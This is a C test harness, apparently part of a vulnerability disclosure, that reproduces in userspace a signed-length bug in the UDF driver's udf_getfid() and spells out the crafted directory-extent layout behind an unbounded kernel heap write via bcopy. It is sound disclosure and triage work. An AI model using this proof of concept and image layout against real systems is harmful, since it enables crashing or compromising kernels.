DF-0831 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 | /* * DF-0831 deterministic harness. * * This transcribes the EXACT arithmetic of udf_getfid() * (sys/vfs/udf/udf_vnops.c:498-610) on the default GENERIC kernel: * * - the 4-byte FID alignment at :605 can push ds->off up to 3 bytes * PAST ds->size (the end of the current directory extent); * - because the end-of-directory test at :505 compares against fsize * (the multi-extent directory's total info_len) instead of ds->size, * a multi-extent directory does NOT terminate, so execution reaches * the fragmented-FID branch; * - there frag_size = ds->size - ds->off becomes a NEGATIVE int (-1/-2/-3); * - the guard `if (frag_size >= bsize)` at :544 is a SIGNED comparison, * so -3 >= 2048 is false and the check is BYPASSED; * - bcopy(fid, ds->buf, frag_size) at :555 sign-extends the negative int * to size_t == 0xFFFFFFFFFFFFFFFD on 64-bit -> catastrophic heap write. * * This harness proves the primitive without needing a real UDF image: it * builds the exact extent-0 byte layout (two FIDs, the second non-aligned), * drives the udf_getfid() state machine one FID at a time, and on the third * call reproduces the negative frag_size / signed-check bypass / size_t * blow-up. A poison allocator (mmap of one page followed by a PROT_NONE * guard page) makes the bcopy overrun fault EXACTLY at the buffer boundary * instead of scribbling over the C library, proving the write is unbounded. * * Build: cc -O2 -Wall -o harness harness.c * Run: ./harness */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <signal.h> #include <setjmp.h> #include <sys/mman.h> #include <unistd.h> #define UDF_FID_SIZE 38 #define BSIZE 2048 /* udfmp->bsize */ #define EXTENT0_BYTES 81 /* chosen so FID_B fits but aligned size overshoots by 3 */ /* ---- verbatim struct fileid_desc from ecma167-udf.h:312 ---- */ struct fileid_desc { uint8_t tag[16]; uint16_t file_num; uint8_t file_char; uint8_t l_fi; uint8_t icb[16]; /* long_ad */ uint16_t l_iu; uint8_t data[1]; } __attribute__((packed)); /* ---- verbatim struct udf_dirstream from udf.h:64 ---- */ struct udf_dirstream { uint8_t *data; /* bp->b_data for current extent */ uint8_t *buf; /* kmalloc(bsize) scratch for fragmented FIDs */ int fsize; /* node->fentry->inf_len (multi-extent total) */ int off; /* cursor within current extent */ int offset; /* byte offset of current extent start */ int size; /* bytes available in current extent */ int fid_fragment; }; static jmp_buf jb; static volatile int got_fault; static void handler(int s){ (void)s; got_fault = 1; longjmp(jb,1); } /* poison allocator: one RW page then a PROT_NONE guard page. Any write * past exactly one page faults -> proves the bcopy length is unbounded. */ static uint8_t *poison_alloc(void) { size_t pg = 4096; /* x86_64 page size */ size_t two = pg * 2; uint8_t *m = mmap(NULL, two, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if (m == MAP_FAILED) { perror("mmap"); exit(2); } if (mprotect(m + pg, pg, PROT_NONE) != 0) { perror("mprotect"); exit(2); } return m; /* usable region is exactly [m, m+pg) */ } /* Build extent-0 exactly as the crafted UDF image would lay it out: * FID_A parent entry, l_fi=0, l_iu=0 -> total_fid_size=38, aligned 40 * FID_B name "abc", l_fi=3, l_iu=0 -> total_fid_size=41, aligned 44 * Extent is EXTENT0_BYTES (81) wide so that 40+41=81 fits (<=81) but the * aligned advance 40+44=84 overshoots ds->size by exactly 3. */ static void build_extent0(uint8_t *p) { /* FID_A at offset 0 (parent) */ struct fileid_desc *a = (void *)(p + 0); memset(a, 0, UDF_FID_SIZE); a->file_char = 0x08 /*PARENT*/ | 0x01 /*VIS*/; a->l_fi = 0; a->l_iu = 0; /* FID_B at offset 40 (normal entry, name len 3) */ struct fileid_desc *b = (void *)(p + 40); memset(b, 0, UDF_FID_SIZE + 3); b->file_char = 0x01 /*VIS*/; b->l_fi = 3; b->l_iu = 0; b->data[0]='a'; b->data[1]='b'; b->data[2]='c'; } /* One udf_getfid() iteration -- transcribed verbatim from * udf_vnops.c:498-610 (only the lines that touch the bug). */ static const char *udf_getfid(struct udf_dirstream *ds, int *frag_out, size_t *bcopy_len_out, int *bypass_out) { int frag_size = 0, total_fid_size; struct fileid_desc *fid; /* :505 End of directory? (uses fsize, NOT size) */ if (ds->offset + ds->off >= ds->fsize) return "END_OF_DIR"; /* :532 point at current FID */ fid = (struct fileid_desc *)&ds->data[ds->off]; /* :539-540 fragmented if FID header or full FID does not fit in extent */ if (ds->off + UDF_FID_SIZE > ds->size || ds->off + fid->l_iu + fid->l_fi + UDF_FID_SIZE > ds->size) { /* :543 NEGATIVE when ds->off overshot ds->size */ frag_size = ds->size - ds->off; *frag_out = frag_size; /* :544 SIGNED int comparison -> -3 >= 2048 is FALSE -> bypass */ *bypass_out = (frag_size >= BSIZE) ? 0 /*not bypassed*/ : 1 /*BYPASSED*/; /* :554-555 kmalloc(bsize) then bcopy(..., frag_size) where frag_size * is implicit int->size_t sign-extension = 0xFFFFFFFF...FD. * We capture the values and DO NOT execute bcopy here -- it would * write ~16 EB and segfault the harness. main() demonstrates the * overrun in a setjmp-guarded poison region. */ ds->buf = poison_alloc(); *bcopy_len_out = (size_t)frag_size; /* THE bug */ return "BCOPY_ARMED"; } else { /* :597 non-fragmented */ total_fid_size = fid->l_iu + fid->l_fi + UDF_FID_SIZE; } /* :605 4-byte alignment -- the overshoot source */ ds->off += (total_fid_size + 3) & ~0x03; return "OK"; } int main(void) { signal(SIGSEGV, handler); signal(SIGBUS, handler); uint8_t *extent0 = calloc(1, BSIZE); build_extent0(extent0); struct udf_dirstream ds; memset(&ds, 0, sizeof ds); ds.data = extent0; ds.size = EXTENT0_BYTES; /* what udf_readatoffset returned */ ds.offset = 0; /* extent starts at byte 0 */ ds.fsize = EXTENT0_BYTES + 16; /* inf_len: extent1 follows (16B) */ printf("== DF-0831 primitive harness ==\n"); printf("bsize=%d extent0(ds->size)=%d fsize(inf_len)=%d\n", BSIZE, ds.size, ds.fsize); const char *r; int frag=0, bypass=0; size_t blen=0; int call; for (call = 1; call <= 4; call++) { printf("\n--- udf_getfid() call #%d (ds->off=%d) ---\n", call, ds.off); r = udf_getfid(&ds, &frag, &blen, &bypass); if (!strcmp(r, "OK")) { printf(" non-fragmented FID processed; aligned advance -> ds->off=%d", ds.off); if (ds.off > ds.size) printf(" *** OVERSHOOT by %d (ds->size=%d) ***", ds.off - ds.size, ds.size); printf("\n"); continue; } if (!strcmp(r, "END_OF_DIR")) { printf(" end-of-dir (would not happen on multi-extent)\n"); break; } if (!strcmp(r, "BCOPY_ARMED")) { printf(" frag_size(int) = %d\n", frag); printf(" (size_t)frag_size = 0x%016zx (%zu bytes)\n", blen, blen); printf(" signed check `frag_size>=bsize` -> %s\n", bypass ? "BYPASSED (negative < bsize)" : "TRIGGERED"); break; } } /* Demonstrate the unbounded overrun in a setjmp-guarded poison region: * ds->buf is one RW page followed by a PROT_NONE guard page, so bcopy of * 0xfffffffffffffffd bytes faults EXACTLY as it crosses the page boundary, * proving the write is not clamped to the allocated buffer. */ printf("\n--- demonstrating bcopy overrun into poison region ---\n"); if (ds.buf) { got_fault = 0; if (setjmp(jb) == 0) { struct fileid_desc *fid = (struct fileid_desc *)&ds.data[ds.off]; bcopy(fid, ds.buf, blen); /* the real bug: ~16 EB write */ printf(" (no fault -- unexpected)\n"); } else { printf(" FAULT caught: bcopy of 0x%016zx bytes crossed the buffer\n", blen); printf(" boundary -> SIGSEGV/SIGBUS, exactly as the kernel page-faults.\n"); } } printf("\n== PROOF ==\n"); printf("frag_size arithmetic ds->size(%d) - ds->off(%d) = %d (NEGATIVE)\n", EXTENT0_BYTES, ds.off, EXTENT0_BYTES - ds.off); printf("signed guard `frag_size(%d) >= bsize(%d)` evaluates %s -> check BYPASSED\n", EXTENT0_BYTES - ds.off, BSIZE, (EXTENT0_BYTES - ds.off) >= BSIZE ? "TRUE" : "FALSE"); printf("bcopy length as size_t = 0x%016zx (%.0f EB) -> unbounded kernel heap write past ds->buf\n", (size_t)(EXTENT0_BYTES - ds.off), (double)(size_t)(EXTENT0_BYTES - ds.off) / (1024.0*1024*1024*1024*1024*1024)); printf("On the kernel this is a page fault in bcopy() -> panic.\n"); return 0; } |